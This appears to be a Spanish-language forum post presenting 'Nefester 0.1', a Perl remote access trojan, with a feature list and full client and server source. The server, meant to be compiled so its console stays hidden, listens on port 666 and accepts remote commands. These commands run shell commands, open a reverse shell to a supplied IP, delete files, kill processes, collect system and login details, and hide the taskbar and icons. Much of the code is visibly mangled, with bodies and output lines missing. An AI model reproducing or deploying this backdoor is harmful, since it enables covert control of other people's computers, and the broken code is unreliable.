- Mostrar Informacion
- Navegador de archivos
- Cambiar directorio de navegacion
- Crear archivo
- Borrar archivo
- Borrar directorio
- Reproducir musica o videos poniendo la ruta en la opcion
- Parar reproduccion
- Abrir lectora de CD
- Cerrar lectora de CD
- Puertos abiertos
- Mensaje
- Ejecutar comandos
- Esconder barra de tareas
- Devolver barra de tareas
- Esconder iconos del escritorio
- Devolver iconos del escritorio
- Administrar procesos con posibilidad de cerrar el que quieran
- Reverse Shell si es que quieren ejecutar comandos de forma mas comoda
El codigo del cliente es este
Código
#!usr/bin/perl #Nefester (Cliente) 0.1 By Doddy H use IO::Socket; use Cwd; &menu; sub head { E F TT E NNNNNNNEEEEEE FFFFFF AAA SSSSSTTTTTTEEEEEE RRRRRR NN NN E EE FFFF A AA S S T TT T E EE RRRRR NNNNN E EE FF F AAAAA S T TT E EE RR R NNNNN EEEEE FFFFF AAA AA SSS S TT EEEEE RRRRR NNNNN E EEE FFF AAAAA S SSS TT E EEE RR R NN NN EEEE E FF AAA AA SS SS TT EEEE E RR R NNN NN EEEEEEEFFFF AAA AAA SSS TTTT EEEEEEE RRR RR SS R R ); } sub menu { &head; my $socket = new IO::Socket::INET( PeerAddr => $ip, PeerPort => 666, Proto => 'tcp', Timeout => 5 ); if ($socket) { $socket->close; &menuo($ip); } else { <STDIN>; &menu; } } sub menuo { &head; 1 : Informacion 2 : Navegador 3 : Abrir CD 4 : Cerrar CD 5 : Puertos abiertos 6 : Mensaje 7 : CMD 8 : Esconder barra de tareas 9 : Devolver barra de tareas 10 : Esconder iconos 11 : Devolver iconos 12 : Administrar procesos 13 : Reverse Shell 14 : Cambiar IP 15 : Salir ); if ($opcion eq 1) { $re = daryrecibir($_[0],"infor"); if ($re=~/:(.*):(.*):(.*):(.*):(.*):/) { <stdin>; } &menuo($_[0]); } elsif ($opcion eq 2) { menu1: $cwd = daryrecibir($_[0],"getcwd"."\r\n"); show($_[0],"/"); &menu2; sub menu2 { if ($op eq 1) { $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA"); if ($ver=~/ok/ig) { } show($_[0],$dir); &menu2; <stdin>; } elsif ($op eq 2) { daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY"); <stdin>; } elsif ($op eq 3) { $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA"); if ($re=~/ok/) { } else { } <stdin>; } elsif ($op eq 4) { $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA"); if ($re=~/ok/) { } else { } <stdin>; } elsif ($op eq 5) { daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA"); <stdin>; } elsif ($op eq 6) { daryrecibir($_[0],"pararmusic"); <stdin>; } elsif ($op eq 7) { &menuo($_[0]); } else { show($_[0],"/"); } goto menu1; } } elsif ($opcion eq 3) { daryrecibir($_[0],"opencd"); &menuo($_[0]); } elsif ($opcion eq 4) { daryrecibir($_[0],"closedcd"); &menuo($_[0]); } elsif ($opcion eq 5) { $re = daryrecibir($_[0],"porters"); while ($re=~/:(.*?):/ig) { if ($1 ne "") { } } <stdin>; &menuo($_[0]); } elsif ($opcion eq 6) { daryrecibir($_[0],"msgbox $msg"); <stdin>; &menuo($_[0]); } elsif ($opcion eq 7) { menu: my $cmd,$re; &menuo($_[0]); } $re = daryrecibir($_[0],"comando :$cmd:"); goto menu; &menuo($_[0]); } elsif ($opcion eq 8) { daryrecibir($_[0],"iniciochau"); &menuo($_[0]); } elsif ($opcion eq 9) { daryrecibir($_[0],"iniciovuelve"); &menuo($_[0]); } elsif ($opcion eq 10) { daryrecibir($_[0],"iconochau"); &menuo($_[0]); } elsif ($opcion eq 11) { daryrecibir($_[0],"iconovuelve"); &menuo($_[0]); } elsif ($opcion eq 12) { &reload($_[0]); sub reload { my @pro; my @pids; my $sockex = new IO::Socket::INET( PeerAddr => $_[0], PeerPort => 666, Proto => 'tcp', Timeout => 5 ); $sockex->read($re,5000); $sockex->close; while ($re=~/PROXEC(.*?)PROXEC/ig) { if ($1 ne "") { } } while ($re=~/PIDX(.*?)PIDX/ig) { if ($1 ne "") { } } for my $num(1..$cantidad) { if ($pro[$num] ne "") { } } [Opciones] 1 - Refrescar lista 2 - Cerrar procesos 3 - Volver al menu ); if ($opc=~/1/ig) { &reload($_[0]); } elsif($opc=~/2/ig) { $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA"); if ($re=~/ok/ig) { } else { } <stdin>; &reload($_[0]); } elsif($opc=~/3/ig) { &menuo($_[0]); } else { &reload; } } } elsif ($opcion eq 13) { $re = daryrecibir($_[0],"backshell :$ip:$port:"); } elsif ($opcion eq 14) { &menu; } elsif ($opcion eq 15) { } else { &menuo; } } sub daryrecibir { my $sockex = new IO::Socket::INET( PeerAddr => $_[0], PeerPort => 666, Proto => 'tcp', Timeout => 5 ); $sockex->read($re,5000); $sockex->close; } sub show { my $re = daryrecibir($_[0],"getcwd"."\r\n"); $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n"); while ($re1=~/DIREX(.*?)DIREX/ig) { if ($1 ne "") { } } while ($re1=~/FILEX(.*?)FILEX/ig) { if ($1 ne "") { } } } # # ¿ The End ? #
Y el server
Código
#!/usr/bin/perl #Nefester (sERVidor) 0.1 By Doddy H #Compilar con perl2exe para sacar consola use IO::Socket; use Socket; use Win32; use Cwd; use Win32::MediaPlayer; use Win32::Process::List; use Win32::Process; use Win32::API; use constant SW_HIDE => 0; use constant SW_SHOWNORMAL => 1; my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N'); my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N'); $test = new Win32::MediaPlayer; my $sock = IO::Socket::INET->new(LocalPort => 666, Listen => 10, Proto => 'tcp', Reuse => 1); while (my $con = $sock->accept){ $resultado = <$con>; if ($resultado=~/msgbox (.*)/ig) { Win32::MsgBox($1,0,"Mensaje de Dios") } if ($resultado=~/backshell :(.*):(.*):/ig) { my ($ip,$port) = ($1,$2); conectar($ip,$port); tipo(); sub conectar { } sub tipo { if ($^O =~/Win32/ig) { infowin(); } else { infolinux(); #root(); } } sub infowin { } sub infolinux { } } if ($resultado =~/opencd/ig) { use Win32::API; my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N"); my $rta = ' ' x 127; $ventana->Call('set CDAudio door open', $rta, 127, 0); } if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) { my ($pid,$numb) = ($1,$2); if (Win32::Process::KillProcess($pid,$numb)) { } } if ($resultado =~/closedcd/ig) { use Win32::API; my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N"); my $rta = ' ' x 127; $ventana->Call('set CDAudio door closed', $rta, 127, 0); } if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) { my $filex = $1; } } if ($resultado=~/infor/ig) { use Win32; my $domain = Win32::DomainName(); my $chip = Win32::GetChipName(); my $version = Win32::GetOSVersion(); my $nombre = Win32::LoginName(); my $os = Win32::GetOSName(); } if ($resultado=~/porters/ig) { use Net::Netstat::Wrapper; $por = ""; @ports = Net::Netstat::Wrapper->only_port(); for(@ports) { $por = $por.":".$_; } } if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) { my $cancion = $1; $test->load($cancion); $test->play; } if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) { my $dir = $1; } } if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) { my $veox = $1; } } if ($resultado=~/pararmusic/ig) { $test->close; } if ($resultado=~/dirnow ACATOY(.*)/ig) { my $real = $1; my @archivos = coleccionar($real); for (@archivos) { my $todo = $real."/".$_; if (-f $todo) { } if (-d $todo) { } } } sub coleccionar { close DIR; } if ($resultado=~/getcwd/ig) { } if ($resultado=~/mostrarpro/ig) { my $new = Win32::Process::List->new(); my %process = $new->GetProcesses(); } } if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) { my $name = $1; my $file = $2; close FILE; } if ($resultado=~/comando :(.*):/ig) { } if ($resultado=~/iniciochau/g) { inicio_chau("Shell_TrayWnd"); } if ($resultado=~/iniciovuelve/g) { inicio_vuelve("Shell_TrayWnd"); } else { } if ($resultado=~/iconovuelve/g) { icono_vuelve("Program Manager"); } if ($resultado=~/iconochau/g) { icono_chau("Program Manager"); } sub icono_vuelve { $handle = $a->Call(0,$_[0]); $b->Call($handle,SW_SHOWNORMAL); } sub icono_chau { $handle = $a->Call(0,$_[0]); $b->Call($handle,SW_HIDE); } sub inicio_vuelve { $handlex = $a->Call($_[0],0); $b->Call($handlex,SW_SHOWNORMAL); } sub inicio_chau { $handlea = $a->Call($_[0],0); $b->Call($handlea,SW_HIDE); } } # ¿ The End ?